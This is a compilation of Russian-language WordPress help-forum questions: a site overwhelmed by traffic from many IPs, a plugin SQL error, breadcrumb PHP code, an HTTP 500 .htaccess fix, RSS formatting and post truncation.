Ну и так далее… сайт НЕ грузился, сервер висел соответственно. Блог был создан с несколькими десятками статьями уникальными куплеными в адвего. Никакой раскрутки не делал ранее. Висел сам по себе месяца 3, и на пустом месте образовалась такая фигня. Версия блога 2.9.2. Никаких посторонних плагинов не подключал. Всё стандартно. С блогом последние дни вообще не работал и не трогал его. Кто чем поможет? Не могу запустить сайт… попытался месячной давности восстановить базу и файлы – результат тот же самый. Как быть – не знаю… может новости грабят, может атака? Всё с разных айпи происходит… доступа к сайту и админке нет, приходится блокировать домен на сервере.
P.S. вот домен локнул… теперь со вторым сайтом началась та же фигня.
Хочу дополнить, оплачивал и заказывал раскрутку бквально неделю назад – на CheapTop там по максимальному тарифу и цене (услуга для сайта пока стоит как "В процессе выполнения") – "мегапрогон в каталогах сайтов и статей с ручным вводом каптч". Может из-за этого? Скажем каталоги к сайту обращаются?
Нажимаю на кнопку "Предпросмотр" и вижу вот такое сообщение! Что подскажите?
WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘AND wp.id = wpr.post2_id AND wp.post_status IN (‘publish’,’private’) UNION ALL S’ at line 1]
SELECT * FROM wp_accelgbookpost_relationships wpr ,wp_accelgbookposts wp WHERE wpr.post1_id = AND wp.id = wpr.post2_id AND wp.post_status IN (‘publish’,’private’) UNION ALL SELECT * FROM wp_accelgbookpost_relationships wpr ,wp_accelgbookposts wp WHERE wpr.post2_id = AND wp.id = wpr.post1_id AND wp.post_status IN (‘publish’,’private’)
Спасибо!
Написала хлебные крошки для сайта.
Вроде работают нормально, за одним исключением – если статья добавлена в несколько категорий,
то на странице этой статьи в хлебных крошках выводятся все категории.
Выглядит это так:
На главную/Категория 1/Категория 2/Категория 3/Название статьи
Выглядит это некрасиво, но исправить у меня никак не получается.
Может кто-нибудь помочь?
Вот код:
<?php if (is_home()) { ?>
<?php } elseif (is_single()) { ?>
<a href="<?php echo get_option('home'); ?>">« На главную</a> /
<?php foreach((get_the_category()) as $cat) {
$cat=$cat->cat_ID;
echo(get_category_parents($cat, TRUE, ' / ')); } ?>Статья "<?php the_title(); ?>"
<?php } elseif (is_category() and get_category($cat)->parent) { ?>
<a href="<?php echo get_option('home'); ?>">« На главную</a> /
Архив Рубрики "<?php foreach((get_the_category()) as $cat) {
$cat=$cat->cat_ID;
echo(get_category_parents($cat, TRUE, '. ')); } ?>"
Как отображать страницу дисклеймера?
Как в существующую тему вставить страницу дисклеймера, чтобы она отображалась до входа на сайт?
Ошибка 500, htaccess – варианты решения
Всем доброго времени суток.
Пытаюсь третьи сутки установить на сервер хостинга дальнего зарубежья – http://admin.1and1.co.uk – WordPress версии 2.9.2.
Сервер выдает ошибку 500 – Intrnal Server Error
Понятное дело – обратился в поддержку. Получил ответ, цитирую:
Create a .htaccess file (or edit the existing .htaccess file, if you already have one). You can create this file using a text editor such as Notepad, WordPad, vi, nano, etc. and place the following line in the text file: AddType x-mapp-php5 .php Save the text file as .htaccess in the folder where you need to use PHP5 (or upload the file to the correct folder). The settings specified in the .htaccess file are recursive meaning that the settings will apply to the current folder where the file is saved as well as all subfolders.
Создал файл, вставил эту строку. Результат – тот же (http://www.dumplingsshop.co.uk)
Написал в поддержку, но судя потому как они медленно отвечают, решил параллельно пройтись по форумам и поспрашивать, возможно, кто-то сталкивался с подобным.
Буду рад услышать реальные советы. Всем спасибо заранее.
Здравствуйте!
Имеется ли такой плагин или как это сделать, чтобы была возможность у администратора/модератора премодерировать новость/статью перед тем, как ее добавит Автор/журналист ?
Заранее спасибо!
Всем привет,
коллеги, я недавно начал работать (изучать) с wordpress. Прошу не пинать ногами.
Я создал плагин и страницу с формой. После отправки данных мне надо чтобы страница обновилась. Для этого я использую
header( "refresh: 2; url=''http://путьКстранице.com " );
echo "<p>You will be re-directed in 2 seconds... </p>";
Если этот кусок кода использовать локально (для отладки страницы), то все работает. Если интегрирую его в плагин, то выскакивает сообщение и ничего не меняется.
Подскажите пожалуйста как добится желаемой функциональности.
Спасибо
Здравствуйте, искал по интернету, решения не нашёл.
RSS идёт через feedburner. вот сайт http://www.xoma-edet.co.cc/ вот фид http://feeds2.feedburner.com/xoma-edet
В ленте новостей не отображаются ни ссылки, ни картинки, только неформатированный текст. Копался и вордпрессе и в фидбёрнере, эксперементы не помогли. Как исправить, подскажите, пожалуйста. Может вписание простой строки в код решит эту головную боль…:/
В архиве или поиске обрезаются посты
Доброго.
В архиве, поиска, выводе определенной рубрики или тега обрезаются посты ставится […]
Хотелось бы узнать как это и где отключить?
Поиск по форуму не решил вопроса, хотя допускаю тот факт, что искал не теми словами 🙂